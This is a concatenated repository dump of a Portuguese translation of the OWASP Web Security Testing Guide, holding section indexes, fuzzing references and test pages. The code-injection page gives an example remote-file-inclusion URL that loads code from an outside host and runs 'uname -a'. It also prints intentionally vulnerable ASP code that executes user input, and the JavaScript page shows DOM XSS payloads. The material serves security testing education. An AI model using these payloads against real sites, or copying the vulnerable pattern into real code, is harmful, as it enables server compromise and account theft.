https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_malicious_page_2.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_malicious_page_3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/images/Clickjacking_example_malicious_page_3.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/Session_Riding_Firewall_Management.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/Session_Riding_Firewall_Management.gif -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/Session_Riding_Firewall_Management_2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/images/Session_Riding_Firewall_Management_2.gif -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Google_cache_Operator_Search_Results_Example_20200406.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Google_cache_Operator_Search_Results_Example_20200406.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Google_site_Operator_Search_Results_Example_20200406.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/images/Google_site_Operator_Search_Results_Example_20200406.png -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/09-Testes-para-Criptografia-Fragil/images/SSL_Certificate_Validity_Testing_IE_Warning.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/09-Testes-para-Criptografia-Fragil/images/SSL_Certificate_Validity_Testing_IE_Warning.gif -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/09-Mapa-de-Aplicativos-Web.md: -------------------------------------------------------------------------------- 1 | # Mapa de Aplicativos Web 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INFO-09| 6 | 7 | Este conteúdo foi combinado com: [Mapa do Framework de Aplicativos Web](08-Mapa-do-Framework-de-Aplicativos-Web.md). 8 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/images/subdomain_takeover_ex1.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/images/subdomain_takeover_ex1.jpeg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/images/subdomain_takeover_ex2.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/images/subdomain_takeover_ex2.jpeg -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/08-Testes-Tratamento-de-Erros/README.md: -------------------------------------------------------------------------------- 1 | # 4.8 Testing for Error Handling 2 | 3 | 4.8.1 [Testando Manipulação Incorreta de Erros](01-Testando-Manipulação-Incorreta-de-Erros.md) 4 | 5 | 4.8.2 [Testando o Rastreamento de listas ou Stack Traces](02-Testando-Stack-Traces.md) 6 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/09-Testes-para-Criptografia-Fragil/images/SSL_Certificate_Validity_Testing_Firefox_Warning.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doverh/wstg-translations-pt/HEAD/4-Testes-Seguranca-Web-Apps/09-Testes-para-Criptografia-Fragil/images/SSL_Certificate_Validity_Testing_Firefox_Warning.gif -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/08-Testes-Tratamento-de-Erros/02-Testando-Stack-Traces.md: -------------------------------------------------------------------------------- 1 | # Testando o Rastreamento de listas ou Stack Traces 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-ERRH-02| 6 | 7 | Este conteúdo foi combinado com : [Testando Manipulação Incorreta de Erros](01-Testando-Manipulação-Incorreta-de-Erros.md) 8 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/03-Testing_for_HTTP_Verb_Tampering.md: -------------------------------------------------------------------------------- 1 | # Testing for HTTP Verb Tampering 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INPV-03| 6 | 7 | This content has been merged into: [Test HTTP Methods](../02-Configuration_and_Deployment_Management_Testing/06-Test_HTTP_Methods.md) 8 | -------------------------------------------------------------------------------- /6-Apendice/README.md: -------------------------------------------------------------------------------- 1 | # Appendix 2 | 3 | Appendix A. [Testing Tools Resource](A-Testing_Tools_Resource.md) 4 | 5 | Appendix B. [Suggested Reading](B-Suggested_Reading.md) 6 | 7 | Appendix C. [Fuzz Vectors](C-Fuzz_Vectors.md) 8 | 9 | Appendix D. [Encoded Injection](D-Encoded_Injection.md) 10 | 11 | Appendix E. [History](E-History.md) 12 | 13 | Appendix F. [Leveraging Dev Tools](F-Leveraging_Dev_Tools.md) 14 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/09-Testes-para-Criptografia-Fragil/README.md: -------------------------------------------------------------------------------- 1 | # 4.9 Testing for Weak Cryptography 2 | 3 | 4.9.1 [Testing for Weak Transport Layer Security](01-Testing_for_Weak_Transport_Layer_Security.md) 4 | 5 | 4.9.2 [Testing for Padding Oracle](02-Testing_for_Padding_Oracle.md) 6 | 7 | 4.9.3 [Testing for Sensitive Information Sent via Unencrypted Channels](03-Testing_for_Sensitive_Information_Sent_via_Unencrypted_Channels.md) 8 | 9 | 4.9.4 [Testing for Weak Encryption](04-Testing_for_Weak_Encryption.md) 10 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/05-Testes-de-Autorizacao/README.md: -------------------------------------------------------------------------------- 1 | # 4.5 Authorization Testing 2 | 3 | 4.5.1 [Testando Diretório Transversal ou Path Traversal e Inclusão de Arquivo](01-Testando-Path-Traversal-e-Inclusão-de-Arquivo.md) 4 | 5 | 4.5.2 [Testando o Desvio do Esquema de Autorização](02-Testando-o-Desvio-do-Esquema-de-Autorização.md) 6 | 7 | 4.5.3 [Testando a Escalada de Privilégios](03-Testando-a-Escalada-de-Privilégios.md) 8 | 9 | 4.5.4 [Testando Referência Direta Insegura a Objetos](04-Testando-Referência-Direta-Insegura-a-Objetos.md) 10 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/README.md: -------------------------------------------------------------------------------- 1 | # 4.3 Testes de Gerenciamento de Identidade 2 | 3 | 4.3.1 [Testar Definições de Funções](01-Testar-Definicoes-de-Funcoes.md) 4 | 5 | 4.3.2 [Testar Processo de Registro de Usuário](02-Testar-Processo-de-Registro-de-Usuario.md) 6 | 7 | 4.3.3 [Testar Processo de Provisionamento de Conta](03-Testar-Processo-de-Provisionamento-de-Conta.md) 8 | 9 | 4.3.4 [Testar Enumeração de Conta e Nome de Usuário Presumível](04-Testar-Enumeração-de-Conta-e-Nome-de-Usuário-Presumivel.md) 10 | 11 | 4.3.5 [Testando Políticas Fraca ou Não Aplicada de Nome de Usuário](05-Testando-Política-Fraca-ou-Não-Aplicada-de-Nome-de-Usuário.md) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/README.md: -------------------------------------------------------------------------------- 1 | # 4.6 Testes Gerenciamento de Sessão 2 | 3 | 4.6.1 [Testando o Esquema de Gerenciamento de Sessão](01-Testando_o_Esquema_de_Gerenciamento_de_Sessão.md) 4 | 5 | 4.6.2 [Testing for Cookies Attributes](02-Testando-Atributos-de-Cookies.md) 6 | 7 | 4.6.3 [Testes de Fixação da Sessão](03-Testes-de-Fixação-da-Sessão.md) 8 | 9 | 4.6.4 [Testando a Exposição de Variáveis de Sessão](04-Testando-a-Exposição-de-Variáveis-de-Sessão.md) 10 | 11 | 4.6.5 [Testando CSRF](05-Testando-CSRF.md) 12 | 13 | 4.6.6 [Teste de Funcionalidade de Logout](06-Teste-de-Funcionalidade-de-Logout.md) 14 | 15 | 4.6.7 [Testando o Tempo Limite da Sessão](07-Testando-o-Tempo-Limite-da-Sessão.md) 16 | 17 | 4.6.8 [Testando a Sobrecarga de Variáveis da Sessão](08-Testando-a-Sobrecarga-de-Variáveis-da-Sessão.md) 18 | 19 | 4.6.9 [Testando o Sequestro da Sessão](09-Testando-o-Sequestro-da-Sessão.md) 20 | -------------------------------------------------------------------------------- /3-Framework-Testes-OWASP/README.md: -------------------------------------------------------------------------------- 1 | # Framework de Testes OWASP 2 | 3 | ### 3.1 [Framework de Testes de Seguranca Web](0-Framework-Testes-Seguranca-Web.md) 4 | 5 | ### 3.2 [Fase 1 Pré Desenvolvimento](0-Framework-Testes-Seguranca-Web.md#fase-1-pre-desenvolvimento) 6 | 7 | ### 3.3 [Fase 2 Durante a Definição e o Design](0-Framework-Testes-Seguranca-Web.md#fase-2-durante-a-definição-e-o-design) 8 | 9 | ### 3.4 [Fase 3 Durante o Desenvolvimento](0-Framework-Testes-Seguranca-Web.md#fase-3-durante-o-desenvolvimento) 10 | 11 | ### 3.5 [Fase 4 Durante a Implementação](0-Framework-Testes-Seguranca-Web.md#fase-4-durante-a-implementação) 12 | 13 | ### 3.6 [Fase 5 Durante a Manutenção e Operações and Operations](0-Framework-Testes-Seguranca-Web.md#fase-5-durante-a-manutenção-e-operações) 14 | 15 | ### 3.7 [Tìpico Workflow de Testes SDLC](0-Framework-Testes-Seguranca-Web.md#tipico-workflow-de-testes-sdlc) 16 | 17 | ### 3.8 [Metodologias de Testes de Invasão](1-Metodologias-de-Testes-de-Invasão.md) 18 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/README.md: -------------------------------------------------------------------------------- 1 | # 4.10 Business Logic Testing 2 | 3 | 4.10.0 [Introduction to Business Logic](00-Introduction_to_Business_Logic.md) 4 | 5 | 4.10.1 [Test Business Logic Data Validation](01-Test_Business_Logic_Data_Validation.md) 6 | 7 | 4.10.2 [Test Ability to Forge Requests](02-Test_Ability_to_Forge_Requests.md) 8 | 9 | 4.10.3 [Test Integrity Checks](03-Test_Integrity_Checks.md) 10 | 11 | 4.10.4 [Test for Process Timing](04-Test_for_Process_Timing.md) 12 | 13 | 4.10.5 [Test Number of Times a Function Can Be Used Limits](05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits.md) 14 | 15 | 4.10.6 [Testing for the Circumvention of Work Flows](06-Testing_for_the_Circumvention_of_Work_Flows.md) 16 | 17 | 4.10.7 [Test Defenses Against Application Misuse](07-Test_Defenses_Against_Application_Misuse.md) 18 | 19 | 4.10.8 [Test Upload of Unexpected File Types](08-Test_Upload_of_Unexpected_File_Types.md) 20 | 21 | 4.10.9 [Test Upload of Malicious Files](09-Test_Upload_of_Malicious_Files.md) 22 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/01-Coleta-de-Informacoes/README.md: -------------------------------------------------------------------------------- 1 | # 4.1 Coleta de Informações 2 | 3 | 4.1.1 [Conduza Busca de Reconhecimento por Informações Vazadas](01-Conduza-Buscas-de-Reconhecimento.md) 4 | 5 | 4.1.2 [Fingerprint de Servidor Web](02-Fingerprint-de-Servidor-Web.md) 6 | 7 | 4.1.3 [Revisar Vazamento de Informações em Arquivos de Metadados do Servidor](03-Revisar-Vazamento-de-Informações-em-Arquivos-de-Metadados-do-Servidor.md) 8 | 9 | 4.1.4 [Enumerar Aplicações em um Servidor Web](04-Enumerar-Aplicações-em-um-Servidor-Web.md) 10 | 11 | 4.1.5 [Revisão de Conteúdo de Página Web para Vazamento de Informações](05-Revisão-de-Conteúdo-de-Página-Web-para-Vazamento-de-Informações.md) 12 | 13 | 4.1.6 [Identificação de Pontos de Entrada da Aplicação](06-Identificação-de-Pontos-de-Entrada-da-Aplicativo.md) 14 | 15 | 4.1.7 [Mapear Fluxos de Execucação do Applicativo.md](07-Mapear-Fluxos-de-Execucação-do-Applicativo.md) 16 | 17 | 4.1.8 [Mapa do Framework de Aplicativos Web](08-Mapa-do-Framework-de-Aplicativos-Web.md) 18 | 19 | 4.1.9 [Mapa do Framework de Aplicativos Web](09-Mapa-de-Aplicativos-Web.md) 20 | 21 | 4.1.10 [Mapeamento da Arquitetura de Aplicativos](10-Mapeamento-da-Arquitetura-de-Aplicativos.md) 22 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/README.md: -------------------------------------------------------------------------------- 1 | # 4.11 Client-Side Testing 2 | 3 | 4.11.1 [Testing for DOM-Based Cross Site Scripting](01-Testing_for_DOM-based_Cross_Site_Scripting.md) 4 | 5 | 4.11.2 [Testing for JavaScript Execution](02-Testing_for_JavaScript_Execution.md) 6 | 7 | 4.11.3 [Testing for HTML Injection](03-Testing_for_HTML_Injection.md) 8 | 9 | 4.11.4 [Testing for Client-side URL Redirect](04-Testing_for_Client-side_URL_Redirect.md) 10 | 11 | 4.11.5 [Testing for CSS Injection](05-Testing_for_CSS_Injection.md) 12 | 13 | 4.11.6 [Testing for Client-side Resource Manipulation](06-Testing_for_Client-side_Resource_Manipulation.md) 14 | 15 | 4.11.7 [Testing Cross Origin Resource Sharing](07-Testing_Cross_Origin_Resource_Sharing.md) 16 | 17 | 4.11.8 [Testing for Cross Site Flashing](08-Testing_for_Cross_Site_Flashing.md) 18 | 19 | 4.11.9 [Testing for Clickjacking](09-Testing_for_Clickjacking.md) 20 | 21 | 4.11.10 [Testing WebSockets](10-Testing_WebSockets.md) 22 | 23 | 4.11.11 [Testing Web Messaging](11-Testing_Web_Messaging.md) 24 | 25 | 4.11.12 [Testing Browser Storage](12-Testing_Browser_Storage.md) 26 | 27 | 4.11.13 [Testing for Cross Site Script Inclusion](13-Testing_for_Cross_Site_Script_Inclusion.md) 28 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/README.md: -------------------------------------------------------------------------------- 1 | # 4.4 Testes de Autenticação 2 | 3 | 4.4.1 [Testando Credenciais Transmitidas por Canal Criptografado](01-Testando-Credenciais-Transmitidas-por-Canal-Criptografado.md) 4 | 5 | 4.4.2 [Teste de Credenciais Padrão](02-Teste-de-Credenciais-Padrão.md) 6 | 7 | 4.4.3 [Testando Mecanismo de Bloqueio de Contas](03-Testando-Mecanismo-de-Bloqueio-de-Contas.md) 8 | 9 | 4.4.4 [Testando o Desvio do Esquema de Autenticação](04-Testando-o-Desvio-do-Esquema-de-Autenticação.md) 10 | 11 | 4.4.5 [Testando Dicas de Recuperação de Senhas Vulneráveis](05-Testando-Dicas-de-Recuperação-de-Senhas-Vulneráveis.md) 12 | 13 | 4.4.6 [Testando a Fragilidade no Cache do Navegador](06-Testando-a-Fragilidade-no-Cache-do-Navegador.md) 14 | 15 | 4.4.7 [Testando Política de Senha Fraca](07-Testando-de-Politica-de-Senha-Fraca.md) 16 | 17 | 4.4.8 [Testando Respostas Fracas para Perguntas de Segurança](08-Testando-Respostas-Fracas-para-Perguntas-de-Segurança.md) 18 | 19 | 4.4.9 [Testando Funcionalidades Fracas para Alteração ou Redefinição de Senha](09-Testando-Funcionalidades- Fracas-para-Alteração-ou-Redefinição-de-Senha.md) 20 | 21 | 4.4.10 [Testando Autenticação Fraca em Canais Alternativos](10-Testando-Autenticação-Fraca-em-Canais-Alternativos.md) 22 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/05-Testando-Política-Fraca-ou-Não-Aplicada-de-Nome-de-Usuário.md: -------------------------------------------------------------------------------- 1 | # Testando Políticas Fraca ou Não Aplicada de Nome de Usuário 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-IDNT-05| 6 | 7 | ## Resumo 8 | 9 | Os nomes de contas de usuário frequentemente seguem uma estrutura altamente padronizada (por exemplo, o nome de Joe Bloggs é jbloggs e o nome de Fred Nurks é fnurks) e nomes de contas válidos podem ser facilmente adivinhados. 10 | 11 | ## Objetivos do Teste 12 | 13 | - Determinar se uma estrutura consistente de nomes de conta torna a aplicação vulnerável à enumeração de contas. 14 | - Determinar se as mensagens de erro da aplicação permitem a enumeração de contas. 15 | 16 | ## Como Testar 17 | 18 | - Determinar a estrutura dos nomes de conta. 19 | - Avaliar a resposta da aplicação a nomes de conta válidos e inválidos. 20 | - Usar respostas diferentes para nomes de conta válidos e inválidos para enumerar nomes de conta válidos. 21 | - Usar dicionários de nomes de conta para enumerar nomes de conta válidos. 22 | 23 | ## Remediação 24 | 25 | Garanta que a aplicação retorne mensagens de erro genéricas consistentes em resposta a nomes de conta inválidos, senhas ou outras credenciais de usuário inseridas durante o processo de login. -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/README.md: -------------------------------------------------------------------------------- 1 | # 4.2 Testes de Gerenciamento de Configuração e Implantação 2 | 3 | 4.2.1 [Testar Configuração da Infraestrutura de Rede](01-Testar-Configuracao-da-Infraestrutura-de-Rede.md) 4 | 5 | 4.2.2 [Testar Configuração da Plataforma do Aplicativo](02-Testar-Configuracao-da-Plataforma-de-Aplicativo.md) 6 | 7 | 4.2.3 [Testar o Manejo de Extensões de Arquivo para Informações Sensíveis](03-Testar-Manejo-de-Extensoes-de-Arquivo-para-Informacoes-Sensiveis.md) 8 | 9 | 4.2.4 [Revisar Backups Antigos e Arquivos Não Referenciados para Informações Sensíveis](04-Revisar-Backups-Antigos-e-Arquivos-Nao-Referenciados-para-Informacoes-Sensiveis.md) 10 | 11 | 4.2.5 [Enumerar Interfaces de Administração de Infraestrutura e Aplicativo](05-Enumerar-Interfaces-de-Administracao-de-Infraestrutura-e-Aplicativo.md) 12 | 13 | 4.2.6 [Testar Métodos HTTP](06-Testar-Metodos-HTTP.md) 14 | 15 | 4.2.7 [Testar Segurança de Transporte Estrito HTTP](07-Testar-Seguranca-de-Transporte-Estrito-HTTP.md) 16 | 17 | 4.2.8 [Testar Política de Domínio Cruzado de RIA](08-Testar-Politica-de-Dominio-Cruzado-de-RIA.md) 18 | 19 | 4.2.9 [Testar Permissão de Arquivo](09-Testar-Permissao-de-Arquivo.md) 20 | 21 | 4.2.10 [Testar Tomada de Subdomínio](10-Testar-Tomada-de-Subdominio.md) 22 | 23 | 4.2.11 [Testar Armazenamento na Nuvem](11-Testar-Armazenamento-na-Nuvem.md) 24 | -------------------------------------------------------------------------------- /6-Apendice/C-Fuzz_Vectors.md: -------------------------------------------------------------------------------- 1 | # Fuzz Vectors 2 | 3 | The following are fuzzing vectors which can be used with [ZAP](https://www.zaproxy.org), [Burp Suite](https://portswigger.net/burp), or another testing tool. [Fuzzing](https://owasp.org/www-community/Fuzzing) is the "kitchen sink" approach to testing the responses of an application to parameter manipulation. Generally, an analyst looks for error conditions or abnormal behaviors that occur in an application as a result of fuzzing. 4 | 5 | The following references are provided as input sources for fuzzing and related testing activities. 6 | 7 | - [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) 8 | - [AwesomeXSS](https://github.com/s0md3v/AwesomeXSS) 9 | - [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings) 10 | - [Big List of Naughty Strings](https://github.com/minimaxir/big-list-of-naughty-strings) 11 | - [Bo0oM Fuzz List](https://github.com/Bo0oM/fuzz.txt) 12 | - [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) 13 | - [bl4de Dictionaries](https://github.com/bl4de/dictionaries) 14 | - [Open Redirect Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) 15 | - [EdOverflow Bug Bounty Cheat Sheet](https://github.com/EdOverflow/bugbounty-cheatsheet) 16 | - [Daniel Miessler - SecLists](https://github.com/danielmiessler/SecLists) 17 | - [XssPayloads Twitter Feed](https://twitter.com/XssPayloads) 18 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/03-Testar-Processo-de-Provisionamento-de-Conta.md: -------------------------------------------------------------------------------- 1 | # Testar Processo de Provisionamento de Conta 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-IDNT-03| 6 | 7 | ## Resumo 8 | 9 | O provisionamento de contas oferece uma oportunidade para um invasor criar uma conta válida sem a aplicação adequada do processo de identificação e autorização. 10 | 11 | ## Objetivos do Teste 12 | 13 | - Verificar quais contas podem provisionar outras contas e de que tipo. 14 | 15 | ## Como Testar 16 | 17 | Determine quais funções podem provisionar usuários e que tipo de contas elas podem provisionar. 18 | 19 | - Existe alguma verificação, avaliação e autorização de solicitações de provisionamento? 20 | - Existe alguma verificação, avaliação e autorização de solicitações de desprovisionamento? 21 | - Um administrador pode provisionar outros administradores ou apenas usuários? 22 | - Um administrador ou outro usuário pode provisionar contas com privilégios superiores aos seus próprios? 23 | - Um administrador ou usuário pode se desprovisionar? 24 | - Como são gerenciados os arquivos ou recursos de propriedade do usuário desprovisionado? Eles são excluídos? O acesso é transferido? 25 | 26 | ### Exemplo 27 | 28 | No WordPress, apenas o nome do usuário e o endereço de e-mail são necessários para provisionar o usuário, como mostrado abaixo: 29 | 30 | ![WordPress Adicionar Usuário](images/Wordpress_useradd.png)\ 31 | *Figura 4.3.3-1: Adicionar Usuário no WordPress* 32 | 33 | O desprovisionamento de usuários requer que o administrador selecione os usuários a serem desprovisionados, selecione Excluir no menu suspenso (circulado) e, em seguida, aplique essa ação. O administrador é então apresentado com uma caixa de diálogo perguntando o que fazer com as postagens do usuário (excluir ou transferir). 34 | 35 | ![WordPress Autenticação e Usuários](images/Wordpress_authandusers.png)\ 36 | *Figura 4.3.3-2: Autenticação e Usuários no WordPress* 37 | 38 | ## Ferramentas 39 | 40 | Embora a abordagem mais completa e precisa para concluir este teste seja fazê-lo manualmente, ferramentas de proxy HTTP também podem ser úteis. -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/11-Testing_for_Code_Injection.md: -------------------------------------------------------------------------------- 1 | # Testing for Code Injection 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-INPV-11| 6 | 7 | ## Summary 8 | 9 | This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. 10 | 11 | In [Code Injection](https://owasp.org/www-community/attacks/Code_Injection) testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks. 12 | 13 | ## Test Objectives 14 | 15 | - Identify injection points where you can inject code into the application. 16 | - Assess the injection severity. 17 | 18 | ## How to Test 19 | 20 | ### Black-Box Testing 21 | 22 | #### Testing for PHP Injection Vulnerabilities 23 | 24 | Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file: 25 | 26 | `http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a` 27 | 28 | > The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file. 29 | 30 | ### Gray-Box Testing 31 | 32 | #### Testing for ASP Code Injection Vulnerabilities 33 | 34 | Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it: 35 | 36 | ```asp 37 | <% 38 | If not isEmpty(Request( "Data" ) ) Then 39 | Dim fso, f 40 | 'User input Data is written to a file named data.txt 41 | Set fso = CreateObject("Scripting.FileSystemObject") 42 | Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True) 43 | f.Write Request("Data") & vbCrLf 44 | f.close 45 | Set f = nothing 46 | Set fso = Nothing 47 | 48 | 'Data.txt is executed 49 | Server.Execute( "data.txt" ) 50 | 51 | Else 52 | %> 53 | 54 |
55 | 56 | 57 |
58 | <% 59 | End If 60 | %>))) 61 | ``` 62 | 63 | ### References 64 | 65 | - [Security Focus](http://www.securityfocus.com) 66 | - [Insecure.org](http://www.insecure.org) 67 | - [Wikipedia](http://www.wikipedia.org) 68 | - [Reviewing Code for OS Injection](https://wiki.owasp.org/index.php/OS_Injection) 69 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/02-Testing_for_JavaScript_Execution.md: -------------------------------------------------------------------------------- 1 | # Testing for JavaScript Execution 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CLNT-02| 6 | 7 | ## Summary 8 | 9 | A JavaScript injection vulnerability is a subtype of cross site scripting (XSS) that involves the ability to inject arbitrary JavaScript code that is executed by the application inside the victim's browser. This vulnerability can have many consequences, like the disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims or the application's behavior. 10 | 11 | JavaScript injection vulnerabilities can occur when the application lacks proper user-supplied input and output validation. As JavaScript is used to dynamically populate web pages, this injection occurs during this content processing phase and consequently affects the victim. 12 | 13 | When testing for this vulnerability, consider that some characters are treated differently by different browsers. For reference, see [DOM-based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS). 14 | 15 | Here is an example of a script that does not perform any validation of the variable `rr`. The variable contains user-supplied input via the query string, and additionally does not apply any form of encoding: 16 | 17 | ```js 18 | var rr = location.search.substring(1); 19 | if(rr) { 20 | window.location=decodeURIComponent(rr); 21 | } 22 | ``` 23 | 24 | This implies that an attacker could inject JavaScript code simply by submitting the following query string: `www.victim.com/?javascript:alert(1)`. 25 | 26 | ## Test Objectives 27 | 28 | - Identify sinks and possible JavaScript injection points. 29 | 30 | ## How to Test 31 | 32 | Consider the following: [DOM XSS exercise](http://www.domxss.com/domxss/01_Basics/04_eval.html) 33 | 34 | The page contains the following script: 35 | 36 | ```html 37 | 49 | ``` 50 | 51 | The above code contains a source `location.hash` that is controlled by the attacker that can inject directly in the `message` value a JavaScript Code to take the control of the user browser. 52 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/README.md: -------------------------------------------------------------------------------- 1 | # 4.7 Input Validation Testing 2 | 3 | 4.7.1 [Testing for Reflected Cross Site Scripting](01-Testing_for_Reflected_Cross_Site_Scripting.md) 4 | 5 | 4.7.2 [Testing for Stored Cross Site Scripting](02-Testing_for_Stored_Cross_Site_Scripting.md) 6 | 7 | 4.7.3 [Testing for HTTP Verb Tampering](03-Testing_for_HTTP_Verb_Tampering.md) 8 | 9 | 4.7.4 [Testing for HTTP Parameter Pollution](04-Testing_for_HTTP_Parameter_Pollution.md) 10 | 11 | 4.7.5 [Testing for SQL Injection](05-Testing_for_SQL_Injection.md) 12 | 13 | - 4.7.5.1 [Testing for Oracle](05.1-Testing_for_Oracle.md) 14 | 15 | - 4.7.5.2 [Testing for MySQL](05.2-Testing_for_MySQL.md) 16 | 17 | - 4.7.5.3 [Testing for SQL Server](05.3-Testing_for_SQL_Server.md) 18 | 19 | - 4.7.5.4 [Testing PostgreSQL](05.4-Testing_PostgreSQL.md) 20 | 21 | - 4.7.5.5 [Testing for MS Access](05.5-Testing_for_MS_Access.md) 22 | 23 | - 4.7.5.6 [Testing for NoSQL Injection](05.6-Testing_for_NoSQL_Injection.md) 24 | 25 | - 4.7.5.7 [Testing for ORM Injection](05.7-Testing_for_ORM_Injection.md) 26 | 27 | - 4.7.5.8 [Testing for Client-side](05.8-Testing_for_Client-side.md) 28 | 29 | 4.7.6 [Testing for LDAP Injection](06-Testing_for_LDAP_Injection.md) 30 | 31 | 4.7.7 [Testing for XML Injection](07-Testing_for_XML_Injection.md) 32 | 33 | 4.7.8 [Testing for SSI Injection](08-Testing_for_SSI_Injection.md) 34 | 35 | 4.7.9 [Testing for XPath Injection](09-Testing_for_XPath_Injection.md) 36 | 37 | 4.7.10 [Testing for IMAP SMTP Injection](10-Testing_for_IMAP_SMTP_Injection.md) 38 | 39 | 4.7.11 [Testing for Code Injection](11-Testing_for_Code_Injection.md) 40 | 41 | - 4.7.11.1 [Testing for Local File Inclusion](11.1-Testing_for_Local_File_Inclusion.md) 42 | 43 | - 4.7.11.2 [Testing for Remote File Inclusion](11.2-Testing_for_Remote_File_Inclusion.md) 44 | 45 | 4.7.12 [Testing for Command Injection](12-Testing_for_Command_Injection.md) 46 | 47 | 4.7.13 [Testing for Format String Injection](13-Testing_for_Format_String_Injection.md) 48 | 49 | 4.7.14 [Testing for Incubated Vulnerability](14-Testing_for_Incubated_Vulnerability.md) 50 | 51 | 4.7.15 [Testing for HTTP Splitting Smuggling](15-Testing_for_HTTP_Splitting_Smuggling.md) 52 | 53 | 4.7.16 [Testing for HTTP Incoming Requests](16-Testing_for_HTTP_Incoming_Requests.md) 54 | 55 | 4.7.17 [Testing for Host Header Injection](17-Testing_for_Host_Header_Injection.md) 56 | 57 | 4.7.18 [Testing for Server-side Template Injection](18-Testing_for_Server-side_Template_Injection.md) 58 | 59 | 4.7.19 [Testing for Server-Side Request 